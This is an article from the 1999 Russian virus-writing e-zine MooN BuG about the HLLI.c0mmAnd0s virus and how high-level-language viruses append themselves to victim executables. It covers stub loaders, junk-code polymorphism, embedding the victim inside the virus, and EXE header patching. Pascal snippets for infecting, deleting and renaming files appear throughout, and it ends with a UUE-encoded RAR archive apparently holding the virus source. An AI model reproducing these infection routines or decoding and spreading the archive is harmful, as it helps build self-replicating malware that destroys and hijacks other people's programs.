╔════════╤════════════════════════════════════════════════════╤══════════╤═══╗
║Okt 1999│NF представляет электронный журнал MooN BuG issue 11│  RedArc  │00D║
╟────────┴────────────────────────────────────────────────────┴──────────┴───╢
║                            Вирус HLLI.c0mmAnd0s                            ║
╚════════════════════════════════════════════════════════════════════════════╝

                                 1. Введение

     На сегодняшний день вирусы, написанные на языке высокого уровня (ЯВУ/HLL)
подразделяются на следующие категории:
     1.   HLLW  -  переписывающие  собственное  тело  со  случайными  именами.
Собственно, это и не вирусы, а демки.
     2. HLLO - записывающие собственное тело поверх жертвы. Это вирусы убийцы.
     3.   HLLC   -   переименовывающие   жертву  во  что-нибудь  неприличное и
записывающие свой код в файл с исходным именем жертвы. Это обычные сателиты.
     4.   HLLP   -   вирусы  приписывающие  свой  код  в  начало  жертвы.  Это
паразитические вирусы.

     Я  хотел  бы  остановиться  на  последней  категории. Эти вирусы работают
следующим образом:
 - находят жертву
 - создают файл со случайным именем (RFN)
 - копируют свой код из файла запуска (ParamStr (0)) в файл RFN
 - копируют код жертвы в RFN
 - удаляют файл с кодом жертвы
 - переименовывают RFN в файл с именем жертвы
     Здесь  возможны  варианты,  но  суть всегда остается одна и та же - вирус
записывает  свой  код в самое начало, чтобы получить управление от загрузчика.
Ну  а поскольку возможности ЯВУ к самомодификации весьма скромные, то отловить
такого зверька можно просто по CRC заголовка.
     Совершенно  не  понятно,  почему  никто  не пытался сделать вирус на ЯВУ,
внедряющий  свой код в конец жертвы. Первая ласточка в этом деле вирус Merlin,
приведенный  в  этом же номере журнала уважаемым LordDark'ом. Но он использует
даже  не вставки, а целые модули на ассемблере. Поэтому хотелось бы поговорить
о том, как на чистом ЯВУ можно внедрить свой код в конец жертвы.


                            2. Вариант вируса TWIX

     И  так,  давайте  рассмотрим возможные пути решения поставленной задачи и
рассмотрим  возникающие  трудности  в  каждом  случае.  Первое, что приходит в
голову,  это  записать  свой код AS IS в конец жертвы, а перед жертвой вписать
програмку  (рис.  1),  которая  бы  выкусывала  вирус  из  этого  бутерброда и
запускала его на исполнение.


        ┌───────┐            ╔═══════╗
        │Goat   │            ║Start  ║
        │       │            ║       ║
        │       │            ║       ║
        │       │            ╚═══════╝
        │       │            ┌───────┐
        └───────┘            │Goat   │
        a)                   │       │
                             │       │
                             │       │
                             │       │
                             └───────┘
                             ╔═══════╗
                             ║Virus  ║
                             ║       ║
                             ║       ║
                             ║       ║
                             ║       ║
                             ╚═══════╝ b)

Рис.  1.  Жертва  до  заражения  a)  и после b). Здесь Start - это специальная
программа выкусывающая тело вируса (Virus) в отдельный файл и передающая этому
файлу управление.

     Эффект  этого метода заключается в том, что размеры модуля Start будут не
очень велики и вирус может носить с собой несколько таких модулей, например, в
заархивированном  виде.  Вирус  может  носить  и исходный текст этого модуля в
надежде найти на компе неприятеля компилятор. Внутри исходник можно разбавлять
пустыми   процедурами,   комментариями  и  циклами  для  пущей  полиморфности.
Комментировать/декомментировать мусор можно случайным образом. Например:

        ...
        Procedure Abbvujhf34;
        Begin
        End;

        Function GJJHJKJBKjh : Boolean;
        Begin
              GJJHJKJBKjh := False;
        End;

        Procedure OpenFile (FName : String);
        Begin
              Abbvujhf34;
              repeat
              until true;
              Abbvujhf34;
              {Abbvujhf34;}
              while false do
              {Abbvujhf34;}
              Abbvujhf34;
              Assign (fhandler, FName);
              {Abbvujhf34;}
              repeat
              Abbvujhf34;
              until true;
              Abbvujhf34;
              ReSet (fhandler, 1);
              {Abbvujhf34;}
              while GJJHJKJBKjh do
              Abbvujhf34;
              {Abbvujhf34;}
              Abbvujhf34;
        End;

     И  при  каждом  заражении  этот  модуль Start будет меняться. При желании
можно  вставить  в  модуль  Start алгоритм кодирования/декодирования основного
модуля  вируса  а  может  быть и жертвы. В качестве кодироващика/декодировщика
может  подойти  любой  архиватор  (различная степень сжатия и установка пароля
сделают основной модуль вируса полиморфным).
     Чем  плох  этот  метод?  Ну во первых, это не совсем запись тела вируса в
конец  жертвы,  а во вторых, как ни крути, размер модуля Start будет несколько
килобайт,  что  весьма  расточительно.  Трудности  реализации... А какие здесь
могут быть трудности?


                    3. Метод вставки жертвы в тело вируса

     Гораздо  проще  и  менее  расточительно можно сделать "дозапись" вируса в
конец  жертвы  путем  выделения транспортного буфера в самом вирусе. Для этого
в вирусе резервируем байтовый массив, например

  const
      GoatA : Array [0..10 * 1024] of Byte =
             (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
              0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
              ...............................
              0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);

     В  вирусе  запоминаем смещение этого массива относительно начала файла. В
этот массив вирус будет считывать жертву и размер жертвы. Например:

        Assign (f1, GoatName);
        ReSet (f1, 1);
        Assign (f2, FileVirus);
        ReSet (f2, 1);
        Seek (f2, OffsetGoatA);
        W := FileSize (f1);
        BlockWrite (f2, W, 2, WC);
        GetMem (P, FileSize (f1));
        BlockRead (f1, P^, FileSize (f1), RC);
        BlockWrite (f2, P^, RC, WC);
        FreeMem (P, FileSize (f1));
        Close (f2);
        Close (f1);
        Erase (f1);
        Rename (f2, GoatName);

     Главное,  чтобы  жертва  не  превышала  размера  буфера  ;-) Жертву перед
записью в массив можно как-нибудь покриптовать для пущей надежности. Если файл
жертвы  не  помещается в буфер, то жертву можно предварительно заархивировать.
Для  этого  совсем  необязательно  таскать с собой RAR или искать его по PATH.
Достаточно иметь в самом вирусе простенький алгоритм архивирования.
     Чем  плох  этот метод? Ну во первых массив будет располагаться не в самом
начале  вируса,  а во вторых, Чем меньше требований к размеру файла с жертвой,
тем  больше  размер  трансферного  буфера  и  тем больше размер вируса. Размер
инфецированных  файлов всегда будет одинаковый. При заражении маленького файла
основная  часть буфера окажется невостребованной. Трудностей в реализации тоже
никаких.
     Здесь можно посоветовать только вот что... После заражения инфицированный
файл  можно сжать каким-либо EXE-пакером (Diet, LZEXE, PkLite, ...). Тогда при
запуске   жертвы  из  зараженного  файла  совсем  не  обязательно  будет  себя
разархивировать  -  достаточно скинуть трансферный массив в файл. Но вот перед
инфицированием  других файлов вирус должен будет себя расшифровать. А никто не
гарантирует,  что на компе неприятеля окажутся декомпрессоры... например DrWeb
;)

                      4. Метод подмены заголовка жертвы

     Конкретно  дописаться  в  конец  жертвы можно только путем подмены/замены
заголовка  файла.  Как  это  делается?  Очень просто - записываем свой код без
заголовка   в  конец  жертвы,  считываем  заголовок  жертвы  себе  в  задницу,
корректируем  свой  заголовок (его можно хранить в изначальном варианте в виде
массива)  так,  чтобы управление передавалось на код записанного в конец файла
вируса.  Заголовок  жертвы можно не переносить к себе в задницу, но тогда свой
заголовок  нужно  будет  записать  перед  ним,  что  легко  реализуемо,  но не
рационально.
     Самая  хитрость  здесь  будет в том, чем вы собираетесь настраивать адрес
перехода.  Во  первых,  жертву  можно  отнести к заголовку вируса и тогда поле
HeaderSize  нужно  увеличить  на  GoatLength  /  16.  Жертву  можно  отнести к
настраиваемым  элементам,  тогда  нужно  просто поле ExeIP увеличить на размер
GoatLength.  И  в  том  и  в  другом случае есть ограничения на размер жертвы.
Однако ее можно так же заархивировать перед инфицированием.
     В   любом   случае   не   забудьте   пересчитать   размер   получившегося
инфицированного  файла PagCou = FileLength / 512 и количество байт в последнем
блоке PartPag.
     Единственное  с  чем вы столкнетесь - это таблица настраиваемых элементов
(Relocation  Table).  Как  я  не  старался,  но получить меньше 9 элементов на
Borland   Pascal   7.01   у   меня   не   получилось.  Собственно информацию о
настройке таблицы можно найти в том же TechHelp.
     Чем  плох  этот  метод?  Ничем  не  плох,  но  из-за  релокейшенов трудно
реализуем.  У меня так и не хватило терпения с ними разбираться. Может быть вы
окажетесь более усидчивым? ;-)


                          5. Программная реализация

=== Cut ===
section 1 of 1 of file hlli.rar    -={ UUE 1.06, ARA (C) 1995 }=-

begin 644 hlli.rar  10-3-1999 22:19:54
M4F%R(1H'`#O0<P@`#0````````!A>'0`@"D`K@$``-%4````Y\ROTN^Q0R<4
M-0D`(````$U905)2+DE.0Q`!U,S(T90`&=O^NYF_!WF=N82!`V>E"V@0S`))
M:9X4IX!NW>],FW(..49&22MLI;MR_=TY"E'`[SB]6DFW`-[YW<\SO9NY!M+B
MXN>Z2XDW+\&YSB_/]^2?$IQ-3)_+D/TQ.-<7JPW(6J[6R^_<^C7'3TM+3:SV
MJE.KYK;6&\UM?2%S6_/\ONMX<$$/7-#\C6WRVG7H^!9\[U[N[N:7EZFSM8];
M^SK^ZY@^$/+$]3T>;TZB*CVWKT`W;LXW\M:IJ58C['((+GP`7)%[=/GY]G!=
MIP-=-S[_*X^XD?&$.JDN*!Z>5\\NGYJ76:FG$_GK10/=5IXW\WHBAN(U7(GT
M]2)J>9_^=N:G2Q\___AD0A"$(0A"$(0A"$(0A"$(0A"$(0A"$(0A"$(0A"$(
M0A"$(0A"$(0A"$(0A"$(0A"$(0A(JYRHHC[/C#HV\/1N8+SC<+6JUNX<'P_$
M#V;'3"N^5Q\H#P\!;#D;A<[!;Y>"-9?9S/L^F]<YW!IX7W8\&I+T':;>$5A[
M0N-1;[1[?OX8S0N/FI>#;C1[MO&_NPOW345K97[G9"2.*<O^7%2\/R!!9700
M@"@`G`,``)8,````V"U*(]BQ0R<4-0@`(````$A,3$DN4$%3^OEV=&EM?>L$
MLDM$]1-PFZ3>)[2;Y/\DX"<).(G[$_?0I?\Z/VCR3V-5JM/[E(/:?)_NF%1O
M\'M]7!L]F![25*B/]>&SPM6,(&ON_]>LM#'O<:Y_IVEOZ7:*W]NJ+W1^!"[V
MU`DVZYM5?<U0VJD;^I@*L/:I]&0UT)4X'(.AZ&2GY'/AE,.JNY!SR*UY\/R[
M`Y>Z2HQ1/1-5B[&&5*Y\STSF`Z2&DDMJUS@H5!J[[N)_"VY=Z'W.JWNJ[7;X
M!2-+&!K->XY545##?$#?D!.],7YTO<O0B(.YMFCJQ,]+,*-0EZ%A3058A54,
MM*A[#D(MI4!:%6:E%16UAP]BW,"ADVGKGP6J%3(V8('?AE2H7H:32!?100O`
MYPN0FJZB:3:>PMW^R;ETU0/ML#KO+4;ZS@VT@NW$T#@@,@LVQ-)+(9?;?'''
M>M;.)![*MM(>[>C(%CU]@!WZ?N=S</*[email protected]?B?Z,KSCP7&BAM7`[46PZ(A
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
FR?`5@H*^=9SF&!C81<KB_*-;6A'H>O-E"JDHU"&0L=S!=TOS_("
`
end
sum -r/size 29413/8468 section (from "begin" to "end")
sum -r/size 50716/6113 entire input file
=== Cut ===